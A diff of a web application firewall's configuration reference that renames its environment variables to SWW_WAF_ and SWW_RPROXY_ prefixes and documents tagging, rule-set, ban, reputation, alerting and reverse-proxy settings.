- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||||
countries whose clients get through, such as `us,de`. A country whose
|
countries whose clients get through, such as `us,de`. A country whose
|
||||||
`country=` tag is in `SWW_TAG_DENY` stops the start.
|
`country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
|
||||||
|
|
||||||
## Request tags
|
## Request tags
|
||||||
|
|
||||||
Every request gets tags from what `discriminator` knows of its client. See
|
Every request gets tags from what `discriminator` knows of its client. See
|
||||||
"Request tags" in [`SPEC.md`](../SPEC.md).
|
"Request tags" in [`SPEC.md`](../SPEC.md).
|
||||||
|
|
||||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||||
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
|
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
|
||||||
or the CrowdSec decision list.
|
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
|
||||||
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
|
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||||
`country=` tag without a country, is refused.
|
`country=` tag without a country, is refused.
|
||||||
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
|
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
|
||||||
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
|
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
|
||||||
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
|
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
|
||||||
client's tags applies. A tag listed twice is refused. So is
|
percentage among a client's tags applies. A tag listed twice is refused. So is
|
||||||
`exploitsignature`: a request gets that tag after the rate limits have counted
|
`exploitsignature`: a request gets that tag after the rate limits have counted
|
||||||
it.
|
it.
|
||||||
|
|
||||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||||
service that gives an address's announced netblock and origin AS.
|
service that gives an address's announced netblock and origin AS.
|
||||||
`discriminator` asks it about each client, in the background, and adds the
|
`discriminator` asks it about each client, in the background, and adds the
|
||||||
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
||||||
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
||||||
|
|
||||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
|
||||||
that no request can get stops the start. A request can get only these:
|
tag that no request can get stops the start. A request can get only these:
|
||||||
|
|
||||||
- a name in `SWW_TAG_LISTS`;
|
- a name in `SWW_WAF_TAG_LISTS`;
|
||||||
- an `asn=` or `country=` tag;
|
- an `asn=` or `country=` tag;
|
||||||
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
|
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
|
||||||
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||||
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
|
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
||||||
masked as the `reputation` field shows it;
|
masked as the `reputation` field shows it;
|
||||||
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
|
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
||||||
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
|
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
|
||||||
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
|
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
|
||||||
`off`.
|
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
|
||||||
|
|
||||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||||
the request first.
|
the request first.
|
||||||
|
|
||||||
## Biased thresholds
|
## Biased thresholds
|
||||||
|
|
||||||
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
|
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
|
||||||
percentage of the byte limits alone, for the AS numbers or countries listed,
|
empty): a percentage of the byte limits alone, for the AS numbers or countries
|
||||||
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||||
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
|
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
|
||||||
country listed twice is refused.
|
or country listed twice is refused.
|
||||||
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
|
||||||
lookup cannot place.
|
the lookup cannot place.
|
||||||
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
||||||
text file with one AS number and percentage on each line, such as
|
a text file with one AS number and percentage on each line, such as
|
||||||
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
|
`AS64496:50`. Each entry counts like an `asn=` tag in
|
||||||
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
|
`SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
|
||||||
|
refused.
|
||||||
|
|
||||||
## Attack detection
|
## Attack detection
|
||||||
|
|
||||||
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
|
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
|
||||||
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
files.
|
||||||
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||||
|
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||||
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
||||||
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
||||||
from 1 to 4.
|
paranoia level, from 1 to 4.
|
||||||
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
|
||||||
match. A whole number above zero, or `off`.
|
request is a match. A whole number above zero, or `off`.
|
||||||
- `SWW_WAF_DISABLED_RULES` (default
|
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
||||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||||
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
||||||
refused: those are the rules that set the Core Rule Set up, and
|
refused: those are the rules that set the Core Rule Set up, and
|
||||||
`smallwebwaf`'s own.
|
`smallwebwaf`'s own.
|
||||||
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
||||||
not inspect.
|
Rule Set does not inspect.
|
||||||
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
|
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
|
||||||
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
|
request body the Core Rule Set reads, a size of at most `64K`. A question
|
||||||
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
|
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
|
||||||
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
KiB less one byte of it, whatever the value (see "The answer" in
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
[`SPEC.md`](../SPEC.md)).
|
||||||
exclusions, written as Coraza directives. It is loaded before the Core Rule
|
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
||||||
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
|
Set exclusions, written as Coraza directives. It is loaded before the Core
|
||||||
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
|
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
|
||||||
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
|
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
|
||||||
file that names a number from 900000 to 900999 outside a comment, alone or in
|
cannot be read or does not parse stops the start, whatever
|
||||||
a range. So does a directive that removes or changes rules as the file loads,
|
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
|
||||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
900000 to 900999 outside a comment, alone or in a range. So does a directive
|
||||||
yet. It has no `_FILE` form.
|
that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
|
||||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
|
||||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
|
||||||
|
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
|
|
||||||
## Ban lengths, response and scope
|
## Ban lengths, response and scope
|
||||||
|
|
||||||
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||||
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
|
||||||
duration.
|
A duration.
|
||||||
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||||
within which breaking a limit again lengthens the next ban. A duration.
|
within which breaking a limit again lengthens the next ban. A duration.
|
||||||
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
|
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
|
||||||
that would be longer is permanent. A duration.
|
one that would be longer is permanent. A duration.
|
||||||
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||||
attack. A duration.
|
of attack. A duration.
|
||||||
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||||
covers: the prefix length of its netblock, from 0 to 32.
|
covers: the prefix length of its netblock, from 0 to 32.
|
||||||
|
|
||||||
## Reputation
|
## Reputation
|
||||||
|
|
||||||
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||||
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
||||||
without a user or a fragment. A URL listed twice is refused.
|
without a user or a fragment. A URL listed twice is refused.
|
||||||
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
|
- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
|
||||||
try before it is fetched again. A duration of `1h` or more.
|
last try before it is fetched again. A duration of `1h` or more.
|
||||||
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
|
||||||
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
`log`.
|
||||||
|
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||||
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
||||||
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
||||||
is refused, whatever its case or key.
|
is refused, whatever its case or key.
|
||||||
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
|
||||||
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
|
through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
|
||||||
port, 53 when none is given. Unset, the host's resolver is used.
|
optional port, 53 when none is given. Unset, the host's resolver is used.
|
||||||
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||||
control character in it is refused.
|
control character in it is refused.
|
||||||
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
|
||||||
from 0 to 100, that is a hit.
|
score, from 0 to 100, that is a hit.
|
||||||
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
|
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
|
||||||
whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||||
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
|
||||||
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
|
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
|
||||||
user or a fragment; its decision list is at `v1/decisions` under it. Set
|
without a user or a fragment; its decision list is at `v1/decisions` under it.
|
||||||
without the key, it is refused. So is a decision list URL that is also in
|
Set without the key, it is refused. So is a decision list URL that is also in
|
||||||
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
|
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
|
||||||
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||||
URL, it is refused.
|
URL, it is refused.
|
||||||
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||||
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||||
AbuseIPDB's score is used. A duration.
|
AbuseIPDB's score is used. A duration.
|
||||||
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
|
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
|
||||||
with AbuseIPDB may take. A duration.
|
check with AbuseIPDB may take. A duration.
|
||||||
|
|
||||||
## Alerting
|
## Alerting
|
||||||
|
|
||||||
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
|
- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
|
||||||
as a JSON object. An `http` or `https` URL without a user or a fragment.
|
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||||
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
|
- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
|
||||||
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
|
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
|
||||||
value cannot hold a comma.
|
value. A value cannot hold a comma.
|
||||||
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
|
- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
|
||||||
receives each alert as a message, checked as the webhook URL is.
|
that receives each alert as a message, checked as the webhook URL is.
|
||||||
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
|
- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
|
||||||
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
|
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
|
||||||
webhook URL is.
|
as the webhook URL is.
|
||||||
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||||
character in it is refused.
|
character in it is refused.
|
||||||
- `SWW_ALERT_EVENTS` (default
|
- `SWW_WAF_ALERT_EVENTS` (default
|
||||||
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
||||||
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
||||||
but `summary`. Any other name is refused.
|
but `summary`. Any other name is refused.
|
||||||
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||||
repeats are held back. A duration or `off`.
|
repeats are held back. A duration or `off`.
|
||||||
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
|
||||||
whole number above zero, or `off`.
|
A whole number above zero, or `off`.
|
||||||
|
|
||||||
## Anomaly thresholds
|
## Anomaly thresholds
|
||||||
|
|
||||||
Each scope has four thresholds: the most requests and the most body bytes
|
Each scope has four thresholds: the most requests and the most body bytes
|
||||||
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
|
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
|
||||||
Requests are counts, bytes are sizes. Each is `off` by default. The four
|
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||||
thresholds per client are:
|
thresholds per client are:
|
||||||
|
|
||||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||||
|
|
||||||
The other scopes' names have another prefix before the same four endings, such
|
The other scopes' names have another prefix before the same four endings, such
|
||||||
as `REQUESTS_PER_MINUTE`:
|
as `REQUESTS_PER_MINUTE`:
|
||||||
|
|
||||||
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||||
netblock's length:
|
netblock's length:
|
||||||
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
- `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||||
client;
|
client;
|
||||||
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
- `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||||
client.
|
client.
|
||||||
- `SWW_ANOMALY_ASN_...`: per AS number.
|
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
||||||
- `SWW_ANOMALY_TOTAL_...`: the whole service.
|
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
||||||
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
|
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
|
||||||
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
|
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
|
||||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||||
name, or with a bad netblock, is refused. So is a name used twice.
|
name, or with a bad netblock, is refused. So is a name used twice.
|
||||||
|
|
||||||
## Settings given as files
|
## Settings given as files
|
||||||
@@ -378,7 +383,7 @@ Then mount its directory into the container read-only, and name the file:
|
|||||||
docker run \
|
docker run \
|
||||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||||
-e SWW_COMMAND=discriminator \
|
-e SWW_COMMAND=discriminator \
|
||||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
-e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -402,51 +407,52 @@ A few limits are fixed rather than settings:
|
|||||||
|
|
||||||
## `discriminator`'s answer and `rproxy`'s wait
|
## `discriminator`'s answer and `rproxy`'s wait
|
||||||
|
|
||||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
|
||||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
|
||||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
|
||||||
in the background (see "Answering in time" under "`discriminator`" in
|
AbuseIPDB are asked in the background (see "Answering in time" under
|
||||||
[`SPEC.md`](../SPEC.md)).
|
"`discriminator`" in [`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## `rproxy`
|
## `rproxy`
|
||||||
|
|
||||||
`sww rproxy` reads the settings below and no others. They are read once at
|
`sww rproxy` reads the settings below and no others. They are read once at
|
||||||
start, and an invalid value stops the start. None can be given as a file, since
|
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||||
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
|
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||||
they do.
|
|
||||||
|
|
||||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||||
|
|
||||||
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
|
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `discriminator`'s URL. An
|
||||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
`http` or `https` URL with a host and an optional port, and nothing more.
|
||||||
speaks HTTP/1.1 to it.
|
`rproxy` speaks HTTP/1.1 to it.
|
||||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
||||||
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
||||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
|
||||||
`discriminator` cannot be connected to, does not answer at all, or does not
|
request when `discriminator` cannot be connected to, does not answer at all,
|
||||||
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
|
or does not answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the
|
||||||
answers `503`. It does not apply to an answer `discriminator` gives, such as
|
app, and `deny` answers `503`. It does not apply to an answer `discriminator`
|
||||||
an error.
|
gives, such as an error.
|
||||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
||||||
`off`.
|
size or `off`.
|
||||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
||||||
`off`.
|
size or `off`.
|
||||||
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
|
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||||
send its request line and headers. It then also bounds, from the end of the
|
take to send its request line and headers. It then also bounds, from the end
|
||||||
headers, the time until the app has been sent the whole request. A time or
|
of the headers, the time until the app has been sent the whole request. A time
|
||||||
`off`.
|
or `off`.
|
||||||
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||||
from the end of the request to its last byte reaching the visitor. A time or
|
take, from the end of the request to its last byte reaching the visitor. A
|
||||||
`off`.
|
time or `off`.
|
||||||
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||||
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
`:9000`.
|
||||||
`https` URL with a host and an optional port, and nothing more.
|
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||||
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
|
`http` or `https` URL with a host and an optional port, and nothing more.
|
||||||
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
|
- `SWW_RPROXY_TRUSTED_PROXIES` (default
|
||||||
nothing. A client outside these netblocks cannot claim another address. Where
|
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
|
||||||
other containers reach `rproxy` directly, or visitors on a private network
|
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
|
||||||
reach traefik, they can name another address in the header. Narrowing the
